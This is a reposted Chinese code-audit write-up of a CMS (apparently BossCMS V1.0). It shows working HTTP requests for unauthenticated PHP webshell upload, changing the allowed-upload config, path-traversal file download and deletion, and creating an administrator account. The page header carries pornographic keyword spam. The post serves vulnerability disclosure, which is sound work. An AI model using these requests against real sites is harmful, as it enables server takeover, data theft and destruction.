日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

某CMSV1.0代码审计

發布時間:2025/3/21 编程问答 26 豆豆
生活随笔 收集整理的這篇文章主要介紹了 某CMSV1.0代码审计 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

前言

以下漏洞均已提交CNVD并被收錄

后臺任意文件上傳

在后臺安全設置處添加允許上傳類型.php

然后通過ueditor的附件上傳即可上傳php木馬文件getshell

確定位置

先隨意找到上傳點,然后抓包上傳

修改后綴名發送后得到報錯信息

{"state":"該文件擴展名不允許上傳!"}

在這給大家整理了一些相關學習資料【點擊查看】

  • 黑客技術文檔PDF學習書籍
  • 全套工具包
  • 相關教學視頻
  • 最新大廠面試題目及答案
  • 零基礎學習思路方法
  • 審計源碼

    通過報錯信息定位到源碼在/system/basic/class/upload.class.php下

    else為結果,那么在if處打上斷點

    上傳php文件開始調試

    發現兩個條件都不滿足

  • php后綴名不在$extension中
  • !type!=true也就是type!=true也就是type!=truetype不為null
  • 第一個條件

    首先解決第一個問題,在文件29行處可以看到$extension變量值的獲取

    那么全局搜索upload_extension,發現他在/system/admin/theme/default/safe.php中獲取

    根據路由規則訪問

    http://bosscms/admin/#safe

    存在允許上傳類型,那么直接添加.php然后保存,回到源碼繼續上傳.php調試

    可以看出這時候$extension數組中多了一個值即.php,成功滿足第一個要求

    第二個條件

    要讓!type!=true,也就是讓type!=true,也就是讓type!=truetype=null即可,也就是執行到函數的35行

    這里需要滿足$ext(.php) 在 arr數組中,那么繼續看arr 數組中,那么繼續看arrarr數組是從

    $G['extension'][$t]中獲取的

    這里的$t值是photo,獲取到的arr為

    ".jpg", ".gif", ".png", ".jpeg", ".tif", ".bmp", ".ico", ".webp"

    全局搜索得到system/basic/json/extension.json

    在code鍵值中看到了我們想要上傳的.php


    所以的我們的$t應該為code,再回到upload.class.php

    t是遍歷t是遍歷tarrary獲得的,而array是分割array是分割arraytype獲得的,可以看到files函數調用時$type默認值是null,那么就是調用時指定code值

    跟蹤函數,定位到/system/extend/ueditor/php/ueditor.class.php中第246行,調用files函數并且指定了code值

    成功解決了第二個條件

    測試上傳

    很明顯漏洞存在于ueditor編輯器的附件上傳處

    選擇PHP木馬文件

    上傳成功

    點擊確認后右鍵打開新鏈接獲得路徑

    成功getshell

    后臺任意文件下載

    后臺構造url可以進行任意文件下載

    http://bosscms/admin/?mold=safe&part=backup&func=download&id=../../../index.php

    確定位置

    定位到/system/admin/safe/backup.class.php

    可以看到沒有任何過濾,直接通過傳值然后下載文件,get傳參id值為文件名且可以穿越

    審計源碼

    全局搜索call_user_func,最后在/system/basic/class/into.class.php的load_class函數中找到可以利用的方法load_class

    然后就是找調用鏈

    在/admin/index.php開始

    再到/system/enter.php

    /system/basic/class/into.class.php

    在執行load_class函數,存在func值成功調用download方法

    mold和mold和moldpart用來拼接文件然后包含一次,然后new 一個part對象然后檢查是對象中是否存在part對象然后檢查是對象中是否存在partfunc函數,存在即調用

    所以可以構造url

    http://bosscms/admin/?mold=safe&part=backup&func=download&id=../../../index.php

    在load_class方法打上斷點然后訪問

    成功調用download,參數獲取正確

    下載文件成功

    且此CMS的數據庫信息寫在固定文件/system/basic/ini/mysql.ini.php

    可以配合進行敏感信息泄露

    后臺任意文件刪除

    確定位置

    定位到/system/admin/safe/backup.class.php

    還是沒有任何過濾,get傳參id值為文件名然后調用delete進行刪除

    使用之前的利用鏈,先在站點根目錄新建test.txt

    然后根據規則(post:url,get:id)構造請求包

    /system/admin/safe/backup.class.php文件中的delete方法

    POST /admin/?mold=safe&part=backup&func=delete&id=../../../test.txt HTTP/1.1 Host: bosscms Content-Length: 135 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://bosscms Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYe2EcUgaamtd4Xnh User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://bosscms/admin/?mold=safe&part=backup&func=table Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close------WebKitFormBoundaryYe2EcUgaamtd4Xnh Content-Disposition: form-data; name="url"1 ------WebKitFormBoundaryYe2EcUgaamtd4Xnh--

    成功刪除文件

    未授權擴大危害

    未授權任意文件下載和刪除

    對用戶是否登錄的驗證在system/basic/class/admin.class.php文件init函數中

    當判斷未登錄時通過header進行頁面跳轉,但是沒有exit()或者die()終止程序運行

    所以還是能夠得到自己的結果后才跳轉(這一點可以在BP中體現)

    在未登錄狀態下

    先執行刪除,成功執行得到結果

    任意文件下載也是同理,在BP中即可看到跳轉前結果

    未授權任意文件上傳

    通過未授權將之前后臺任意文件上傳攻擊面擴大

    文件上傳未授權

    POST /system/extend/ueditor/php/controller.php?action=uploadfile HTTP/1.1 Host: bosscms Content-Length: 200 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://bosscms Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvwjLJGiYAdfklq31 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close------WebKitFormBoundaryvwjLJGiYAdfklq31 Content-Disposition: form-data; name="upfile"; filename="test.php" Content-Type: image/png<?php phpinfo();?> ------WebKitFormBoundaryvwjLJGiYAdfklq31--

    修改上傳配置點未授權

    找到可利用的函數/system/admin/safe/safe.class.php文件中的add函數,參數可控

    還是之間的鏈,根據代碼構造請求,在post請求中upload_extension數組里添加.php鍵值

    POST /admin/?mold=safe&part=safe&func=add HTTP/1.1 Host: bosscms Content-Length: 987 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://bosscms Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLNKwhkxPkcJiHO5I User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://bosscms/admin/?mold=safe&part=safe&func=init&lang=1 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close------WebKitFormBoundaryLNKwhkxPkcJiHO5I Content-Disposition: form-data; name="admin_folder"admin ------WebKitFormBoundaryLNKwhkxPkcJiHO5I Content-Disposition: form-data; name="admin_login_captcha"1 ------WebKitFormBoundaryLNKwhkxPkcJiHO5I Content-Disposition: form-data; name="admin_logout_time"28888 ------WebKitFormBoundaryLNKwhkxPkcJiHO5I Content-Disposition: form-data; name="page_cache_time"0 ------WebKitFormBoundaryLNKwhkxPkcJiHO5I Content-Disposition: form-data; name="upload_rename"1 ------WebKitFormBoundaryLNKwhkxPkcJiHO5I Content-Disposition: form-data; name="upload_maxsize"2 ------WebKitFormBoundaryLNKwhkxPkcJiHO5I Content-Disposition: form-data; name="upload_extension"[".jpg",".png",".jpeg",".gif",".mp4",".mp3",".pdf",".doc",".xls",".xlsx",".bmp",".csv",".ico",".JPG",".php"] ------WebKitFormBoundaryLNKwhkxPkcJiHO5I Content-Disposition: form-data; name="ueditor_catchimage"0 ------WebKitFormBoundaryLNKwhkxPkcJiHO5I--

    成功未授權修改配置

    修改配置之后可以未授權任意文件上傳了

    成功訪問執行

    未授權用戶操作

    用戶操作相對于來說也算敏感操作,就順帶寫了

    確定位置

    定位到/system/admin/manager/manager.class.php

    其中的add,edit,delete三個函數參數都是由請求獲得的(可控的)

    根據規則構造請求包,以下為關鍵點

    mold=manager&part=manager&func=add /system/admin/manager/manager.class.php中的add函數POST傳參 username-用戶名 password-密碼 password-確認密碼 level-權限 (2為系統管理員)

    請求包

    POST /admin/?mold=manager&part=manager&func=add HTTP/1.1 Host: bosscms Content-Length: 1959 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://bosscms Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryB067fgIWBKtHI4Gy User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://bosscms/admin/?mold=manager&part=manager&func=edit Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close------WebKitFormBoundaryB067fgIWBKtHI4Gy Content-Disposition: form-data; name="username"123 ------WebKitFormBoundaryB067fgIWBKtHI4Gy Content-Disposition: form-data; name="password"123 ------WebKitFormBoundaryB067fgIWBKtHI4Gy Content-Disposition: form-data; name="passwords"123 ------WebKitFormBoundaryB067fgIWBKtHI4Gy Content-Disposition: form-data; name="level"2 ------WebKitFormBoundaryB067fgIWBKtHI4Gy Content-Disposition: form-data; name="department"------WebKitFormBoundaryB067fgIWBKtHI4Gy Content-Disposition: form-data; name="open"1 ------WebKitFormBoundaryB067fgIWBKtHI4Gy Content-Disposition: form-data; name="permit1"------WebKitFormBoundaryB067fgIWBKtHI4Gy Content-Disposition: form-data; name="permit2"["content&content","items&items","banner&banner","consult&consult","feedback&feedback","search&search","seo&seo","seo&violation","seo&rewrite","anchor&anchor","link&link","plugin&plugin","plugin&market","template&template","template&market","store&store","manager&manager","safe&safe","safe&backup","site&site","site&email","site&sms","site&code","menu&menu","language&language","site&state"] ------WebKitFormBoundaryB067fgIWBKtHI4Gy Content-Disposition: form-data; name="permit3"["content&content","items&items","banner&banner","consult&consult","feedback&feedback","search&search","plugin&plugin","safe&backup","site&site","site&code","menu&menu","language&language","site&state"] ------WebKitFormBoundaryB067fgIWBKtHI4Gy Content-Disposition: form-data; name="permit4"------WebKitFormBoundaryB067fgIWBKtHI4Gy Content-Disposition: form-data; name="image"------WebKitFormBoundaryB067fgIWBKtHI4Gy Content-Disposition: form-data; name="alias"------WebKitFormBoundaryB067fgIWBKtHI4Gy Content-Disposition: form-data; name="email"------WebKitFormBoundaryB067fgIWBKtHI4Gy Content-Disposition: form-data; name="phone"------WebKitFormBoundaryB067fgIWBKtHI4Gy--

    成功添加管理員用戶

    成功登錄,且為管理員權限

    后記

    都是一些簡單常見的漏洞點,主要還是一個跳轉之后未及時結束程序導致訪問控制體系崩塌,后臺變前臺

    總結

    以上是生活随笔為你收集整理的某CMSV1.0代码审计的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。